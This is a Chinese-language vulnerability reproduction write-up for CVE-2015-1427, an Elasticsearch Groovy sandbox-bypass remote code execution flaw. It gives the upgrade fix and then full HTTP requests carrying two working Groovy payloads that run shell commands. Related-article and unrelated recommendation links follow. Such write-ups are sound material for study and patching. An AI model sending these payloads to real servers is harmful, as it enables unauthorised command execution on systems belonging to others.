漏洞编号:CVE-2015-1427

漏洞详情

CVE编号 CVE-2015-1427 漏洞级别 高危7.5
标题 Elasticsearch Groovy 脚本引擎存在远程代码执行漏洞 披露时间 2015/02/17
漏洞总结 Elasticsearch在版本1.3.8之前及版本1.4.x在1.4.3之前的Groovy脚本引擎存在漏洞,远程攻击者可通过精心构造的脚本绕过沙箱保护机制并执行任意shell命令。
利用路径 NETWORK 利用难度 容易10
影响产品 elasticsearch
解决方案 升级到Elasticsearch版本1.3.8或1.4.3以上,或禁用Groovy插件。

漏洞复现

两种执行命令的方法:

1、利用java反射绕过沙盒

java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()

2、Goovy直接执行命令

def command='id';def res=command.execute().text;res

添加一条数据

POST /test/test/ HTTP/1.1
Host: ip:端口
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 24 {
"name": "test"
}

执行命令

第一种方法:

POST /_search?pretty HTTP/1.1
Host: ip:端口
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 156 {"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}

第二种方法:

POST /_search?pretty HTTP/1.1
Host: ip:端口
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 156 {"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "def command='id';def res=command.execute().text;res"}}}

POC&EXP

github:POC-EXP/ElasticSearch Groovy 沙盒绕过 at main · twsec-pro/POC-EXP (github.com)

yakit:86556f00-6ebb-4422-804c-6f58cb9b9f79

ElasticSearch Groovy 沙盒绕过 && 代码执行漏洞的更多相关文章

  1. CVE-2015-1427(Groovy 沙盒绕过 && 代码执行漏洞)

    1.vulhub环境搭建 https://blog.csdn.net/qq_36374896/article/details/84102101 2.启动docker环境 cd vulhub-maste ...

  2. 转:LNMP虚拟主机PHP沙盒绕过/命令执行(php exec命令被禁之后)

    LNMP虚拟主机PHP沙盒绕过/命令执行 lnmp更新1.2版本,很多东西都升级了,很棒.不过还是发现一个BUG. LNMP是一款linux下nginx.php.mysql一键安装包. 下载:http ...

  3. 【CVE-2022-0543】Redis Lua沙盒绕过命令执行复现

    免责声明: 本文章仅供学习和研究使用,严禁使用该文章内容对互联网其他应用进行非法操作,若将其用于非法目的,所造成的后果由您自行承担,产生的一切风险与本文作者无关,如继续阅读该文章即表明您默认遵守该内容 ...

  4. 【漏洞公告】CVE-2017-12615/CVE-2017-12616:Tomcat信息泄漏和远程代码执行漏洞

    2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...

  5. [转帖]Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626)

    Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626) ADLab2019-03-15共23605人围观 ,发现 4 个不明物体安全报告漏洞 https://www.f ...

  6. 【代码审计】OTCMS_PHP_V2.83_代码执行漏洞分析

      0x00 环境准备 OTCMS官网:http://otcms.com 网站源码版本:网钛CMS PHP版 V2.83 [更新于2017.12.31] 程序源码下载:http://d.otcms.c ...

  7. 【代码审计】YzmCMS_PHP_v3.6 代码执行漏洞分析

      0x00 环境准备 YzmCMS官网:http://www.yzmcms.com/ 程序源码下载:http://pan.baidu.com/s/1pKA4u99 测试网站首页: 0x01 代码分析 ...

  8. 【代码审计】XYHCMS V3.5代码执行漏洞分析

      0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...

  9. CmsEasy 5.5 cut_image 代码执行漏洞

    3 CmsEasy 5.5 cut_image 代码执行漏洞 3.1 摘要 3.1.1 漏洞介绍 CmsEasy是一款基于PHP+MySQL架构的网站内容管理系统,可面向大中型站点提供重量级网站建设解 ...

  10. ECShop全系列版本远程代码执行漏洞复现

    前言 问题发生在user.php的display函数,模版变量可控,导致注入,配合注入可达到远程代码执行 漏洞分析 0x01-SQL注入 先看user.php $back_act变量来源于HTTP_R ...

随机推荐

  1. 程序员视角下的API数据接口对接指南

    ​ 在当今互联网时代,许多应用程序和网站都需要使用第三方的API接口来获取数据.API(Application Programming Interface)允许不同的应用程序之间进行数据交互,从而提高 ...

  2. mysql触发器使用教程-六种触发器

    参考:https://zhuanlan.zhihu.com/p/439273702 触发器(Trigger)是 MySQL 中非常实用的一个功能,它可以在操作者对表进行「增删改」 之前(或之后)被触发 ...

  3. .NET开源简单易用、内置集成化的控制台、支持持久性存储的任务调度框架 - Hangfire

    前言 定时任务调度应该是平时业务开发中比较常见的需求,比如说微信文章定时发布.定时更新某一个业务状态.定时删除一些冗余数据等等.今天给推荐一个.NET开源简单易用.内置集成化的控制台.支持持久性存储的 ...

  4. 【不限框架】超好用的3d开源图片预览插件推荐

    今天给大家推荐一款超好用的图片预览插件-image-preview 简单说明 image-preview是一款主要面向移动端web应用,同时兼容pc,基于原生js,不限框架,react,vue,ang ...

  5. Chromium 消息循环和线程池详解

    Chromium 中的多线程机制由 base 库提供,要理解 Chromium 中的多线程机制,首先要理解的概念就是 base::MessageLoop 和 base::TaskScheduler , ...

  6. Linux 运行python文件时报ModuleNotFoundError: No module named 'xxxxx'

    1. 问题 运行项目文件main.py,抛出异常ModuleNotFoundError: No module named 'Environment' 2. 原因 Linux环境下,直接运行.py文件, ...

  7. 【KMP】border 题解

    题目描述 输入 输出 样例输入 abaabaa 样例输出 17 样例解释: f[2][a] = 1 f[3][a] = 1 f[4][a] = 1 f[4][b] = 2 f[5][a] = 1 f[ ...

  8. JUC并发编程学习笔记(十)线程池(重点)

    线程池(重点) 线程池:三大方法.七大参数.四种拒绝策略 池化技术 程序的运行,本质:占用系统的资源!优化资源的使用!-> 池化技术(线程池.连接池.对象池......):创建和销毁十分消耗资源 ...

  9. 聊一聊 tcp/ip 在.NET故障分析的重要性

    一:背景 1. 讲故事 这段时间分析了几个和网络故障有关的.NET程序之后,真的越来越体会到计算机基础课的重要,比如 计算机网络 课,如果没有对 tcpip协议 的深刻理解,解决这些问题真的很难,因为 ...

  10. CSP2023-S复盘

    <svg xmlns="http://www.w3.org/2000/svg" style="display: none;"> <path s ...